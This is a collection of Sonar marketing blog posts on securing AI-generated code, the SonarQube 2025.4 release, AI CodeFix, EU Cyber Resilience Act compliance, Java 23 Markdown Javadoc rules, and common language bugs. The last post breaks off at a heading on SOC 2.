It’s clear that a central theme of the AI Action Plan is safety and security. In addition to the above named initiatives Pillar I lays out, Pillar II of the plan rightly calls for promoting "secure-by-design" AI technologies and establishing an AI Information Sharing and Analysis Center (AI-ISAC) to centralize and share threat intelligence.

Securing AI models themselves from malicious input, prompt injection, and other threats, is a critical and necessary step. But a perfectly secure, well-behaved model can still generate insecure code. It can introduce subtle bugs, rely on deprecated libraries, or inadvertently "hallucinate" flawed logic that creates new attack surfaces. When the output isn’t paid the same attention as the input of these models, this creates an "Output Assurance" gap. It’s not enough to assure that the AI model is secure; we need assurance that the code it produces is also secure and high-quality.

A core philosophy at Sonar, true "secure-by-design" extends beyond the AI tool and into the final artifact: the generated code itself. Sonar provides an essential safety net, ensuring that any vulnerabilities, bugs, or code smells in AI-generated code are caught and fixed before they ever reach production. For example, our AI Code Assurance capability enables developers to have confidence in the quality and security of every line of AI-generated code through enforcement of high standards within a thorough validation process.

The data dilemma: high-quality output depends on high-quality input

Another key goal highlighted in the plan is the effort to create "the world’s largest and highest quality AI-ready scientific datasets." This points to a universal principle that is fundamental not just to science, but to all of software development — the quality of an AI model's training data directly dictates the quality of its output.

For AI coding assistants, this presents a significant "garbage in, garbage out" risk. Today’s large language models (LLMs) are trained on vast, uncurated code repositories from the open internet. Inevitably, they learn from buggy, insecure, and outdated code, absorbing millions of examples of what not to do.

This results in AI assistants that can unknowingly perpetuate bad practices, recommend flawed security patterns, and suggest inefficient code, costing developers time in rework and introducing organizational risk. Until AI models are trained exclusively on high-quality, secure code, developers are ultimately accountable for the quality of the AI-generated code being put into production. This manual verification tax threatens to reduce the very productivity gains that AI promises. As found in a recent METR study, “AI tooling slowed developers down,” with AI coding assistants decreasing experienced software developers' productivity by 19%, largely because the time saved in writing code was lost to debugging and verifying the flawed output.

It is essential that development teams have tools that can systematically identify and remediate the flawed patterns that AI inherits from its training data. Sonar acts as a quality gatekeeper, helping development teams uphold consistent standards for code quality and code security, ensuring that the mistakes of the past aren't replicated in the software of the future.

Building the future of AI, securely and reliably

“America's AI Action Plan” has the potential to positively reshape the software development landscape, empowering teams to build more and faster than ever before.

However, to truly "win the race," speed must be matched with quality and security. The “trust and verify” mindset is a solid approach for minimizing risk while maximizing the incredible productivity and technological advancements AI promises for software development. This is where static analysis tools become critical. Solutions like our SonarQube platform enable development teams to harness the power of AI for code generation, with confidence. By ensuring every line of AI-generated code is secure and high-quality from the start, we empower developers to innovate faster.

Let's embrace the AI revolution. Let's use AI to experiment, build, and create. But let's do it with the confidence of knowing that the code we build is robust, secure, and of the highest quality.

SonarQube Server 2025.4 LTA : Faster analysis, stronger security, better coverage

Robert Curlee — Thu, 31 Jul 2025 14:00:00 GMT

TL;DR overview

SonarQube Server 2025.4 is the latest LTA release, delivering the General Availability of SonarQube Advanced Security with SCA and advanced SAST, SAST for Kotlin, and expanded MISRA C++:2023 compliance coverage.
Analysis performance improvements include faster C/C++ analysis for incremental changes and optimized symbolic execution for large codebases, reducing scan times for teams with complex multi-module projects.
SCA in this release adds PHP dependency support via Packagist/Composer, continuous vulnerability detection on permanent branches without re-analysis, and machine-readable dependency risk reports in JSON and CSV.
AI Code Assurance now includes automatic detection of GitHub Copilot-generated code, giving teams immediate visibility into which projects contain AI-assisted code that requires quality gate enforcement.

What's new at a glance

Expanded core security

Complete SAST with taint analysis for Go projects
VB.NET taint analysis using SonarQube’s proven C# SAST engine
Next-generation JavaScript/TypeScript taint analysis engine
Industry-leading secrets detection with 400+ patterns across 340+ rules covering 248 cloud services

Achieve compliance with SonarQube

Get immediate MISRA compliance feedback directly in your IDE with expanded MISRA C++:2023 coverage for safety-critical codebases
Generate customizable PDF reports for PCI, OWASP, CWE, STIG, and CASA standards
Download enhanced regulatory reports with improved summaries and CSV exports

Elevate your code

C/C++ analysis up to 33% faster through function-based symbolic execution caching
NOSONAR allows for granular rule suppression for Python issues
Full support for Java 23/24
Dart 3.8 compatibility for Flutter development
SonarQube’s Advanced Dataflow Bug Detection engine detects more complex Java issues
Performance-focused rules for Java and Python with automated quick-fixes

Advanced Security

Continuous dependency vulnerability detection without re-scanning
Customizable risk severity for dependency risks
Machine-readable vulnerability reports via API (JSON/CSV)
PHP dependency support through Packagist/Composer

Why this release matters

For Development teams: C/C++ analysis runs 33% faster due to function-based symbolic execution caching, particularly helpful for large codebases with frequent header file changes. Full support for Java 23/24 and Dart 3.8 means new language features parse correctly, while new Java and Python performance rules include automated fixes. NOSONAR can now suppress individual python rules instead of disabling entire lines, and the advanced Java bug detection engine catches complex cross-function issues, replacing noisy rules based on SonarQube's symbolic execution engine.

For Security teams: Go and VB.NET now have full SAST with taint analysis, while the rewritten JS/TS engine reduces false positives and catches more complex data flow issues. Secrets detection scans YAML/JSON config files using 400+ patterns, catching credentials in infrastructure code that source-only scanners miss. Continuous dependency scanning provides immediate notification of new vulnerabilities, with machine-readable reports and customizable risk severity based on actual usage.

For Compliance teams: Developers can access MISRA C++:2023 rules directly in their IDE (VSCode, Visual Studio, IntelliJ/CLion) for immediate feedback during development rather than during expensive remediation cycles. Enhanced security reports now support customizable PDF exports for PCI, OWASP, CWE, STIG, and CASA standards.

The 2025.4 LTA What's New page and our SonarQube Server release notes provide more details about the release.

Are you still using an older version of SonarQube Server?

If you’re on a version older than the 2025.4 LTA release, update to the SonarQube Server LTA before updating to the latest version.

Watch the on-demand LTA upgrade webinar, which explains a step-by-step approach and highlights common pitfalls encountered during the upgrade.

AI CodeFix is now generally available

Manish Kapur — Thu, 31 Jul 2025 14:00:00 GMT

TL;DR overview

AI CodeFix is now generally available in SonarQube, allowing developers to resolve detected code issues with a single click—without leaving the SonarQube UI or their IDE.
The feature uses large language models (LLMs), including OpenAI's GPT-4o and Anthropic's Claude, to generate context-aware fix suggestions that resolve issues without altering existing code functionality.
AI CodeFix is included in eligible SonarQube Cloud Team and Enterprise subscriptions and in SonarQube Server Enterprise Edition—with no additional cost for qualifying plans.
Developers estimate spending approximately three hours per week on bug-related tasks; AI CodeFix is designed to reclaim that time by automating common remediation across Java, JavaScript/TypeScript, Python, C#, C, and C++.

Sonar is proud to announce that AI CodeFix is now generally available for SonarQube in both the cloud and server deployments. This powerful capability is designed to revolutionize how development teams address code issues, offering an intelligent assistant to boost developer speed and productivity.

AI CodeFix seamlessly integrates AI-driven code fix suggestions into your development workflow at no additional cost for eligible SonarQube subscriptions.

Addressing core developer pain points

Software development teams frequently encounter obstacles that hinder productivity and introduce inefficiencies. A significant drain on developer time and focus is manual debugging and the repetitive tasks associated with issue resolution. Developers can spend an estimated "3 hours/week per developer" related to bugs. This manual effort not only consumes valuable time but also increases the cognitive load on developers, diverting their attention from more creative and valuable problem-solving. Another pervasive issue is technical debt, which differs from simple bugs in that it often involves "conscious trade-offs" or outdated code that actively "slows future development". AI CodeFix is here to help you overcome these challenges.

What is AI CodeFix?

AI CodeFix is a powerful capability that provides intelligent suggestions for fixing issues detected by SonarQube's static code analysis solutions. With just one click, developers can receive AI-powered recommendations to resolve a range of issues, from bugs and security vulnerabilities to code quality problems. Using state-of-the-art large language models (LLMs) such as OpenAI’s GPT-4o and Anthropic’s Claude, AI CodeFix understands the context of your code to generate precise, actionable fixes for a range of issues. This feature leverages AI to reduce manual debugging efforts and accelerate software development cycles.

By providing a contextual understanding to every code segment, AI CodeFix helps maintain functionality while ensuring high standards of quality and security are met. This capability is designed to empower developers to focus on innovation, while repetitive and time-consuming tasks are streamlined with intelligent automation.

Key features

AI CodeFix brings substantial benefits to everyday software development processes. Its key features and advantages include:

AI-generated code fixes

AI CodeFix employs LLMs to provide intelligent, context-aware fix suggestions. When SonarQube identifies an issue in your code, the tool can automatically generate a recommended fix that aligns with your code quality & security standards. This instantaneous generation of fix suggestions minimizes the time developers spend searching for solutions and manually debugging code.

Seamless workflow integration

The integration of AI CodeFix with popular IDEs (integrated development environments) such as Visual Studio Code, Cursor, Windsurf, and IntelliJ means that fixes can be generated and applied directly within the developer workflow. Developers can fix issues directly within their IDE using SonarQube for IDE connected mode, ensuring a fluid and uninterrupted coding experience. Developers simply select an issue, review the AI-generated suggestion in the SonarQube interface and open them in the IDE panel, and either apply the fix or tailor it further to their needs.

Wide language support

Recognizing the diversity of today’s software projects, AI CodeFix supports a range of popular programming languages, including Java, JavaScript, TypeScript, Python, C#, and C++. This ensures that teams working on projects across different tech stacks can leverage AI-driven improvements without compromise.

LLM Flexibility

Users have the flexibility to choose the LLM they prefer. AI CodeFix supports OpenAI’s GPT-4o and Anthropic’s Claude out of the box in SonarQube Cloud. Users are also free to bring their own Azure OpenAI GPT-4o instances when running on SonarQube Server. Running your own model within your Azure cloud account provides extra privacy, security, and contractual assurances for your compliance needs.This customization option allows organizations to align AI CodeFix with their existing AI strategies or to select LLMs that best suit their specific coding standards and codebase characteristics, ensuring long-term value and adaptability to future technological shifts.

Enhanced developer productivity

With AI CodeFix automating the repetitive tasks of debugging and fixing code issues, developers can dedicate their efforts to more complex tasks. This reduction in manual work not only speeds up the development cycle but also significantly decreases the chance of human error during manual fixes, thereby increasing overall productivity.

Availability and pricing

AI CodeFix is now readily available on both SonarQube cloud and server, at no additional cost for eligible plans. It’s also available for evaluation via our 2-week trial.

Deployment choice	Plan/Edition	AI CodeFix inclusion
SonarQube Cloud	Team plan	Included at no additional cost
SonarQube Cloud	Enterprise plan	Included at no additional cost
SonarQube Server	Enterprise plan	Included at no additional cost
SonarQube Server	Data Center Edition	Included at no additional cost

How AI CodeFix works

AI CodeFix is engineered for seamless integration into your daily development processes. Once it has been enabled, a typical workflow with AI CodeFix unfolds as follows:

Automated code analysis: When your project is analyzed in SonarQube, whether through regular scans triggered by pull requests or continuous integration processes, issues such as bugs, vulnerabilities, or code smells are identified and flagged.
Accessing fix suggestions: Developers can access AI CodeFix by clicking the “Generate AI Fix” button associated with an issue for which supported rules are available. This action sends contextual code snippets and issue details to the integrated large language model for analysis.
Context-aware recommendations: The LLM generates a proposed fix that is tailored to the specific context of the code. Whether it’s a logic adjustment, a refactoring suggestion, or a security patch, the solution is designed to preserve the intended functionality while resolving the issue.
In-IDE integration: For a smooth experience, AI CodeFix is integrated with major IDEs. In “Connected Mode,” the relevant fix suggestions can be viewed directly within your IDE. This enables you to review, edit, and apply the fix on the spot without switching contexts.
Review and apply: Developers have the freedom to review the suggested fix and decide whether to apply it directly, make adjustments, or discard the fix if it does not fully meet the requirements. This flexibility ensures that the final implementation aligns perfectly with your project’s needs.

Key benefits

The core benefits delivered by AI CodeFix are designed to enhance the daily work of development teams:

Reduced developer workload: AI CodeFix automatically generates code fix suggestions, significantly minimizing the need for manual debugging. This automation allows developers to reallocate their time and focus to "more critical and complex tasks" that require human ingenuity.
Accelerated development cycles: By significantly reducing the time developers spend on fixing common errors, AI CodeFix enables teams to move faster from development to deployment. This means quicker iterations, less downtime, and a reduced time-to-market for new features and products.
Reduction in technical debt: Early resolution of issues prevents the gradual accumulation of technical debt. AI CodeFix’s consistent, automated fixes ensure that code bases remain clean and maintainable, allowing teams to focus on strategic improvements rather than repetitive cleanup.
Reduced cognitive load: Developers can concentrate their mental energy on creative problem-solving and innovation rather than expending effort on "repetitive error correction". This shift in focus fosters a more engaging and productive development experience.

Getting started with AI CodeFix

Adopting AI CodeFix is seamless for both SonarQube cloud and server users.

For SonarQube Cloud users

To activate AI CodeFix on SonarQube Cloud, ensure that your organization is subscribed to the Team or Enterprise plan. Then:

Log in as an Organization Admin and navigate to the Administration section.
Under Organization Settings, locate the AI CodeFix settings and enable the feature.
Choose your preferred LLM provider, such as OpenAI GPT-4o or Anthropic Claude.
Configure the setting to apply to all projects or select those where you want AI CodeFix enabled.
Launch your development environment with SonarQube connected mode and start enjoying instant code fixes as issues arise.

For more detailed steps, refer to the official Enabling AI CodeFix in SonarQube Cloud documentation.

For SonarQube Server users

For organizations using SonarQube Server 2025.3 and higher, AI CodeFix is available in the Enterprise and Data Center editions. To enable it:

Log in as an instance administrator and navigate to the Administration panel.
Under Organization Settings, find the AI CodeFix configuration and activate the feature.
Select your LLM provider, whether it’s Sonar’s default option or a self-hosted solution for additional privacy.
Configure the feature globally or on a per-project basis as required.
With your IDE connected to SonarQube, developers can begin generating and applying AI-driven fixes immediately.

More detailed instructions can be found in the SonarQube Server AI CodeFix documentation.

Ready to experience AI CodeFix and improve your productivity?

Whether you’re using SonarQube Cloud or managing your own SonarQube Server, you can sign up for a free trial and see firsthand how AI-powered code fixes can streamline your workflow and help your team deliver cleaner, more secure code—faster.

To help you get started, explore these essential learning resources:

SonarQube IDE extension for VS Code: Learn how to bring SonarQube’s powerful analysis and AI CodeFix directly into your Visual Studio Code environment for real-time feedback and instant fixes.
Enable Azure OpenAI Instance for AI CodeFix: Step-by-step guidance for organizations that want to use their own Azure OpenAI instance to power AI CodeFix, ensuring privacy and compliance.
Enabling Anthropic Claude Sonnet for AI CodeFix: Instructions for integrating Anthropic’s Claude 3.7 Sonnet model as your AI provider for code fixes.

Don’t miss the opportunity to transform your development process with AI CodeFix. Sign up for a trial today and discover how SonarQube is making high quality, secure code more accessible than ever.

Cyber Resilience Act: Navigating speed and security with AI-coding

Anirban Chatterjee — Tue, 29 Jul 2025 14:00:00 GMT

TL;DR overview

The EU Cyber Resilience Act (CRA) creates strict regulatory obligations for software manufacturers—including requirements for secure-by-design development, vulnerability handling, 24-hour incident reporting, and SBOM generation.
AI coding tools accelerate development velocity but introduce new security risks that manual review cannot manage at scale; the CRA makes manufacturers legally responsible for these vulnerabilities.
SonarQube addresses CRA compliance through SAST, quality gates, AI Code Assurance, secrets detection, and SBOM generation—embedding compliance into the CI/CD workflow rather than treating it as a post-release checklist.
Organizations that treat the CRA as a strategic commitment rather than a compliance checkbox can convert the regulatory obligation into a competitive advantage by shipping software that is demonstrably more secure and reliable.

Modern software development is caught between two powerful forces. On one hand, generative artificial intelligence (AI) coding tools are supercharging development velocity at the expense of rigorous security review. On the other, the European Union's Cyber Resilience Act or CRA (Regulation EU 2024/2847), along with related legislation such as the Product Liability Directive (PLD), is ushering in an era of strict regulatory accountability, placing the liability for preventing cybersecurity failures squarely on manufacturers. This creates a critical paradox: the very tools used to build software faster are introducing security risks at a scale that manual oversight cannot manage, and the CRA makes manufacturers legally responsible for these risks.

For all companies that do business in the EU – notably, not just companies based in the EU – this new reality signals significant new complications for software lifecycle and supply chain management, especially when using AI coding tools. The CRA introduces mandatory cybersecurity requirements that apply throughout a product's entire lifecycle, covering “products with digital elements” (PDEs) from design to end-of-life. With severe penalties for non-compliance—up to €15 million or 2.5% of global turnover—the CRA legally mandates a new model: one that demands organizations move fast, but prove their products are built right from the start.

New obligations driven by the CRA

The CRA's scope is intentionally broad, applying to all PDEs made available on the EU market, regardless of where the manufacturer is located. This includes a wide array of products, such as baby monitors, networked household gadgets, B2B software, connected consumer electronics, and more. Its core technical requirements, detailed in Annex I, are extensive. The cornerstone is the mandate to ship products "without known exploitable vulnerabilities" and to deliver them with a "secure by default configuration." Other essential obligations include protecting against unauthorized access, ensuring the confidentiality and integrity of data, limiting attack surfaces, and minimizing data processing.

The Act also establishes ongoing responsibilities. Manufacturers must implement robust vulnerability handling processes, which includes creating a Software Bill of Materials (SBOM) for their products. They are required to provide security updates for a support period of at least five years. Perhaps the most urgent requirement is the 24-hour deadline to notify the EU's cybersecurity agency, ENISA, of any "actively exploited vulnerability," a rule that demands mature and well-practiced incident response plans. Proving compliance requires meticulous documentation, including a cybersecurity risk assessment.

The only exceptions are for products where sector-specific legislation with equivalent cybersecurity requirements already exists, such as for medical devices, aviation, and cars. Certain open-source software developed or supplied outside the course of a commercial activity is also excluded from the direct obligations placed on manufacturers, though the commercial products that incorporate this software remain fully within scope. This wide-ranging applicability ensures that the CRA establishes a horizontal cybersecurity baseline for the digital economy.

The AI-coding paradox: speed, with risk

The rapid adoption of AI coding assistants introduces a new variable for developers and manufacturers into the CRA compliance equation. These tools accelerate development, but they also pose significant security risks. Trained on massive public code repositories, AI models learn from and replicate the countless vulnerabilities and insecure coding patterns contained within that data. Studies have shown that a substantial portion—approximately 40% in some cases—of AI-generated code contains security flaws like those on the CWE Top 25 list. Some examples of increased security exposure include:

Replicating insecure patterns, such as those leading to log injection or cross-site scripting attacks
Using outdated open-source libraries with known vulnerabilities, or even "hallucinating" packages that do not exist (this creates a potential attack vector where malicious actors can register those package names to distribute malware)
Poor, insecure prompts for AI-generated code that are widely reused and, combined with AI hallucinations, spread insecure patterns across organizations
Potential malicious poisoning of training data, where an attacker intentionally introduces vulnerable or backdoored code into public repositories that are likely to be scraped for model training

The CRA provides an unambiguous answer to the question of who is responsible for these AI-induced flaws: the manufacturer of the final product. The regulation makes no distinction between code written by a human and code suggested by AI. To meet the CRA's standard of due diligence, organizations must treat AI-generated code as an untrusted input that requires the same, if not a more stringent, level of automated security analysis as any third-party library.

A strategic framework for compliance

Addressing the dual challenges of the CRA and AI-generated code requires a framework that embeds automated security verification throughout the software development lifecycle.

Embedding security from the start: The CRA's "secure-by-design" principle requires shifting security left. This is enabled by Static Code Analysis and Static Application Security Testing (SAST) tools that integrate directly into the developer's IDE and the CI/CD pipeline. For example, a tool like SonarQube prevents issues from entering the main branch by giving your developers immediate feedback on vulnerabilities and coding errors as code is being written.
Maintaining control over AI-generated code: Organizations must verify, not just trust, AI-generated code. Doing this at scale requires an ability to stop any vulnerable or low-quality code, with automated guardrails. A quality gate, available in SonarQube, can stop any vulnerable or low-quality code from entering production. This is a non-negotiable checkpoint in the CI/CD pipeline, regardless of whether the code was written by a developer or an AI.
Mastering the software supply chain: The CRA's mandate for an SBOM makes robust Software Composition Analysis (SCA) essential. An effective SCA process, such as the one offered in SonarQube's Advanced Security offering, automatically flags risks in your third party open source software based on dependency identification and continuous vulnerability analysis. It can also ensure a traceable vulnerability management process with Software Bills of Materials (SBOM) capabilities.
Protecting data integrity: The CRA mandates that systems be resilient against manipulation and that the impact of security incidents be minimized. Taint Analysis, a SonarQube feature that traces untrusted user data flow across the entire application and third-party libraries to identify deeply embedded injection flaws, directly addresses these requirements.
Safeguarding system access: SonarQube frequently finds instances where developers inadvertently commit hard-code credentials into source code control. The speed of AI-assisted development, while beneficial for productivity, introduces a heightened risk for this to occur. To mitigate this, automated secrets detection tools are crucial. For example, SonarQube identifies and ensures that your developers remove sensitive access data before you are exposed by scanning the entire codebase for patterns matching API keys, passwords, and other sensitive tokens.
Demonstrating compliance: Proving compliance requires an auditable record of security activities, but it can be difficult to track all of the security activities across your codebases in a cohesive, efficient manner. Solutions like SonarQube include reports that ensure quick, consistent access to the documentation you need to show compliance with security standards like the OWASP Top 10 and CWE Top 25.

A narrow window of opportunity

The Cyber Resilience Act's deadlines are firm and approaching. The obligation to report actively exploited vulnerabilities applies from September 11, 2026, with the full application of most other provisions following on December 11, 2027.

Organizations should begin preparing immediately by assessing which products fall under the CRA's scope, conducting a gap analysis of their current processes, evaluating their security tooling, and formalizing their incident response plans to meet the tight 24-hour reporting window.

The SonarQube platform integrates all the aforementioned capabilities into a single solution, ensuring a user-friendly and streamlined experience for developers and quality gatekeepers alike. This comprehensive approach allows teams to implement Sonar’s “trust and verify” approach to maintaining high standards of code quality and security, even as they adopt AI coding solutions, ultimately leading to more robust and reliable applications.

Software teams that treat the CRA as a mere compliance checklist to be managed with fragmented tools or manual processes will struggle to keep pace, exposing themselves to significant legal and financial risk. In contrast, organizations that embrace the spirit of the Act—a deep-seated commitment to producing high-quality, secure, and reliable software from the start—can transform this regulatory obligation into a powerful competitive advantage. By implementing an integrated framework to govern the quality and security of all code, regardless of its origin, companies can not only meet their legal duties but also build more robust products, foster greater customer trust, and ultimately innovate faster and more safely.

Java 23: Embrace the new era of code comments

Jonathan Vila Lopez — Tue, 29 Jul 2025 13:00:00 GMT

TL;DR overview

Java 23 introduces Markdown-formatted documentation comments, allowing developers to write Javadoc using familiar Markdown syntax alongside traditional HTML Javadoc tags.
This change makes API documentation easier to write and read in source code, reducing the friction of maintaining accurate and well-formatted Javadoc across large Java projects.
Sonar has updated its Java analyzer to recognize and correctly parse Markdown doc comments, ensuring documentation rules and violations are accurately detected in Java 23 codebases.
Teams upgrading to Java 23 can adopt Markdown comments incrementally—existing Javadoc remains valid—while taking advantage of cleaner syntax for new and updated documentation.

Welcome back to our blog series on the latest Java features, documentation, and the new rules in SonarQube designed to check for the proper usage of javadoc and markdown, ensuring your code adheres to best practices and avoids common pitfalls.

We’ve covered Java 22, and are now getting into Java 23, which introduces several new language features. We’ll focus on enhancing documentation, and how to leverage the new features with simple examples.

What is JavaDoc and Markdown?

Java 23 introduces an enhancement to JavaDoc, allowing comments that begin with three slashes `///` to be interpreted as JavaDoc comments using Markdown syntax. This subtle yet significant change aims to simplify the process of writing rich and readable documentation directly within the code. By leveraging Markdown, developers can more easily format their JavaDoc comments with features like bold text, italics, lists, and code blocks, without needing to learn specific JavaDoc HTML tags, officially detailed in JEP 445. This streamlines the documentation process, making it more intuitive and encouraging the creation of better-formatted and more accessible API documentation.

SonarQube has introduced new rules to assist developers in adopting Java 23's Javadoc and Markdown enhancements. These rules — including S7476 and S7474 — ensure that documentation is consistently formatted, easy to read, and free from common migration pitfalls. By leveraging these rules, developers can seamlessly integrate Markdown into their Javadoc comments to improve clarity and maintainability, ensuring that the old code is completely aligned with the new features.

Rule S7476: Comments should not start with more than two slashes

With Java 23, comments starting with /// are now officially interpreted as Javadoc comments that use Markdown syntax. Before, they were simply ignored by the Javadoc tool and treated as regular implementation comments. This change means that existing comments in your codebase could unintentionally become part of your public API documentation after migrating to Java 23. This can lead to confusing or unprofessional-looking documentation and increases the effort required for migration. This new rule helps you find these cases in advance so they can be corrected.

Noncompliant Code Example:

public class Calculator {

  /////////////////////////////////////////////

  // A section for advanced math operations. //

  // These are experimental.                 //

  /////////////////////////////////////////////

  public int add(int a, int b) {

    /// This is a super important implementation note for the add method.

    /// It should not be in the final Javadoc.

    return a + b;

  }

}

In the example above, both the decorative block comment and the /// comment would be incorrectly processed as Javadoc in Java 23.

Compliant Solution:

public class Calculator {

  // A section for advanced math operations.

  // These are experimental.

  public int add(int a, int b) {

    // This is a super important implementation note for the add method.

    // It should not be in the final Javadoc.

    return a + b;

  }

}

The compliant solution is to ensure regular comments use the standard // syntax.

Rule S7474: Markdown, HTML and Javadoc tags should not be mixed

Java 23's introduction of Markdown in Javadoc comments is a significant step towards cleaner, more readable documentation. To maintain consistency, it's best to fully embrace Markdown syntax and avoid mixing it with legacy HTML tags (like <b>, <code>, <li>) or old Javadoc block tags (like {@code} or {@link}). Mixing these styles can lead to inconsistent rendering across different tools and makes the raw documentation harder to read. This rule encourages developers to use the modern, more concise Markdown syntax wherever possible.

Noncompliant Code Example:

///

/// A utility class for <b>String</b> operations.

/// <p>

/// Use this class to perform common manipulations. For more details,

/// see {@link java.lang.String}.

/// You can also use {@code new StringManipulator()}.

///

public class StringManipulator {

  // ...

}

This Javadoc mixes bold HTML tags with Javadoc's {@link} and {@code} tags. The clean, modern approach is to use Markdown for all formatting.

Compliant Solution:

///

/// A utility class for **String** operations.

///

/// Use this class to perform common manipulations. For more details,

/// see [String].

/// You can also use `new StringManipulator()`.

///

public class StringManipulator {

  // ...

}

By adopting a consistent Markdown style, your documentation becomes cleaner, easier to write, and future-proof.

How Java 23 and SonarQube work together

By embracing the new features in Java 23 — such as Markdown in Javadoc — developers can write more efficient, and more maintainable code resulting in a higher-quality code. However, staying abreast of these evolving language enhancements and consistently applying best practices can be challenging.

What's the top bug in your language? Find out in The State of Code: Languages report

Anirban Chatterjee — Mon, 28 Jul 2025 14:00:00 GMT

This article explores Volume 4 of a four-part report series. Click here to start from the beginning.

TL;DR overview

The State of Code: Languages report analyzes 7.9 billion lines of code from over 970,000 developers to reveal the most common bugs, security vulnerabilities, and maintainability issues in Java, JavaScript, TypeScript, Python, C#, C++, and PHP.
In Java, the most common security issue is leaving debug features enabled in production; in Python, it is the use of unencrypted clear-text protocols like FTP and HTTP.
Each language has distinct patterns: JavaScript's top code smell is using var instead of let/const, while C++ faces risks from unsafe string handling functions.
The report provides actionable remediation guidance for each language-specific issue, backed by concrete data rather than survey-based findings.

Over the last few weeks, Sonar's The State of Code report series has helped development teams explore the real-world state of software development. We’ve uncovered the most common reliability bugs, security vulnerabilities, and maintainability issues found across billions of lines of code. This article covers the fourth and final report in the series, where we shift from universal principles to the specific challenges within the programming languages that development teams use every day.

This analysis is not based on surveys, but on concrete data from the real issues developers are encountering in their work. Our findings are drawn from an analysis of Sonar's massive dataset from the last six months of 2024, which includes:

More than 7.9 billion lines of code.
Contributions from over 970,000 developers across more than 40,000 organizations
Analysis of Java, JavaScript, TypeScript, Python, C#, C++, and PHP

Here are some of the most prevalent language-specific issues we uncovered, why they create problems for development teams, and how to fix them before they ever reach production.

Top Java issue: Delivering code with debug features activated

One of the most common security issues in Java code is leaving debug features enabled in production. This often happens when a developer uses a feature like a stack trace printout for troubleshooting and forgets to remove it before deployment—an easy mistake to make, but one with severe consequences.

Why it's a problem: For developers, managers and business leaders, it’s a critical security risk. Leaked stack traces and other debug information provide a roadmap for attackers, exposing sensitive details about your application’s frameworks and architecture. This intelligence expands the attack surface and can turn a minor intrusion into a catastrophic breach. Fixing these issues late in the development cycle leads to lost time and costly delays.
How to fix it: The key is to ensure that all debug-related settings are turned off in the final production build. Relying on manual review is prone to error, especially under tight deadlines. SonarQube automates this check, systematically detecting debug features that are unsafe for production. By integrating it into the CI/CD pipeline, you can use a quality gate to automatically prevent this code from being deployed, protecting your application from inadvertently giving attackers the information they need.

Top JavaScript issue: Code that doesn’t do anything

The most frequent bug in JavaScript is the presence of statements that have no side effects and don’t change the program’s control flow. Often a sign of incomplete refactoring or a simple typo, this dead code can completely alter an application's logic. A classic case is an “if” statement followed by a lone semicolon, which silently causes the condition to be ignored and the next block of code to run unconditionally.

Why it's a problem: For a developer, this is a frustrating bug. The code looks correct at a glance but behaves unexpectedly, leading to wasted hours spent debugging. For a manager, this is a productivity killer. It represents a preventable error that creates instability and consumes valuable developer cycles that should be spent on innovation. These "do-nothing" statements increase maintenance time and overhead as teams chase down logical mistakes.
How to fix it: The best defense is a static analyzer that understands JavaScript’s nuances. SonarQube flags these useless but potentially dangerous statements as you code, providing real-time feedback directly within the developer's IDE. This ensures that the code behaves as intended and prevents these subtle bugs from derailing a project.

Top Python issue: Using clear-text protocols

A critical security risk frequently observed in Python applications is the use of unencrypted, clear-text protocols like FTP and HTTP. Using unencrypted channels is the digital equivalent of sending login credentials on a postcard, exposing applications to data theft, malware, and malicious redirects.

Why it's a problem: For developers, using an insecure protocol creates a gaping and unjustifiable security hole. For business leaders, this is a direct threat. It not only risks a data breach but can also lead to significant financial penalties from data protection violations and cause severe reputational damage. The risk of leaving an application perpetually exposed to data theft and unauthorized access far outweighs any perceived convenience.
How to fix it: All data transmission must use secure, encrypted protocols. SonarQube’s security analysis automatically detects the use of insecure protocols like FTP, Telnet, and HTTP within your Python code. By identifying these vulnerabilities early in the development lifecycle, Sonar empowers teams to build applications that are secure by design and ensures all transport channels are secured.

Building secure code in every programming language

Understanding and addressing these common pitfalls is about more than just avoiding errors; it’s about mastering the tools of the trade. This has never been more critical, especially as AI coding assistants generate more code than ever before. The quality of the human-written code these tools learn from is paramount to ensuring a secure and reliable software future.

These findings are just the beginning. Our new report provides a much deeper analysis of the top issues across these three major languages, as well as TypeScript, C#, C++, and PHP.

Download The State of Code: Languages report today to see:

The most prevalent bugs and security issues across the most popular programming languages software developers use.
A breakdown of the most common maintainability issues (aka code smells) in each language.
Actionable solutions to help you eliminate these language-specific issues.

How Sonar Helps Achieve a Strong SOC 2 Type II Report

Mark Clements — Fri, 25 Jul 2025 13:00:00 GMT

TL;DR overview

SOC 2 Type II compliance requires organizations to demonstrate that security controls over systems handling customer data operate effectively over time—and code security is a key control domain.
Sonar helps build a strong SOC 2 report by providing continuous, automated evidence that code undergoes security analysis, vulnerabilities are tracked and remediated, and quality gates prevent insecure releases.
The combination of SonarQube's audit logs, Quality Gate history, and issue tracking creates a documentation trail that satisfies auditor requirements for change management and vulnerability management controls.
Organizations undergoing SOC 2 audits can reference Sonar's analysis reports to demonstrate that security is embedded in the software development lifecycle rather than applied only after release.

An SOC 2 Type II report is a critical attestation for service organizations, demonstrating their commitment to securely managing customer data over time. It's an in-depth evaluation of the design and operational effectiveness of controls across five Trust Services Categories: Security, Availability, Processing Integrity, Confidentiality, and Privacy.

The report, issued by an independent, licensed CPA firm, instills confidence in customers and stakeholders regarding your company's ability to safeguard their data effectively. It provides crucial assurance that sensitive information is consistently protected by robust internal controls. Achieving SOC 2 Type II builds trust, offers a significant competitive edge, and proactively mitigates data-related risks.

Navigating the Nuances of SOC 2 Control Requirements

While SOC 2 is less prescriptive than a standard like ISO 27001, its fundamental requirement for well-designed and effectively operating controls is paramount. This can be a significant hurdle for companies, particularly those in rapid software development, often leading to friction between product, engineering, and security/compliance teams.

Key to SOC 2 compliance are controls like CC2.1 (Quality information for internal control), ensuring relevant and high-quality data for decision-making, and CC3.4 (Assessment of impactful changes), for evaluating risks associated with software modifications. More specifically, within the Software Development Life Cycle (SDLC), comprehensive controls are essential to satisfy CC5.2 (Technology Control Activities) and CC5.3 (Deployment of Control Activities). These encompass both technical and administrative controls for technology build and deployment. Additionally, strong change management, as defined by CC8.1 (Change Management Process), with its emphasis on testing, is a universal requirement across all control frameworks.

For development teams striving to meet aggressive deadlines and packed sprints, these crucial controls can become deprioritized. This often results in the deployment of code that, while functional at the moment, becomes difficult to maintain and may contain exploitable vulnerabilities. When auditors request evidence of consistent operation of security controls within the development process, the absence of such evidence can jeopardize a successful SOC 2 Type II recertification.

Strengthening Your SDLC for SOC 2 Compliance with Sonar

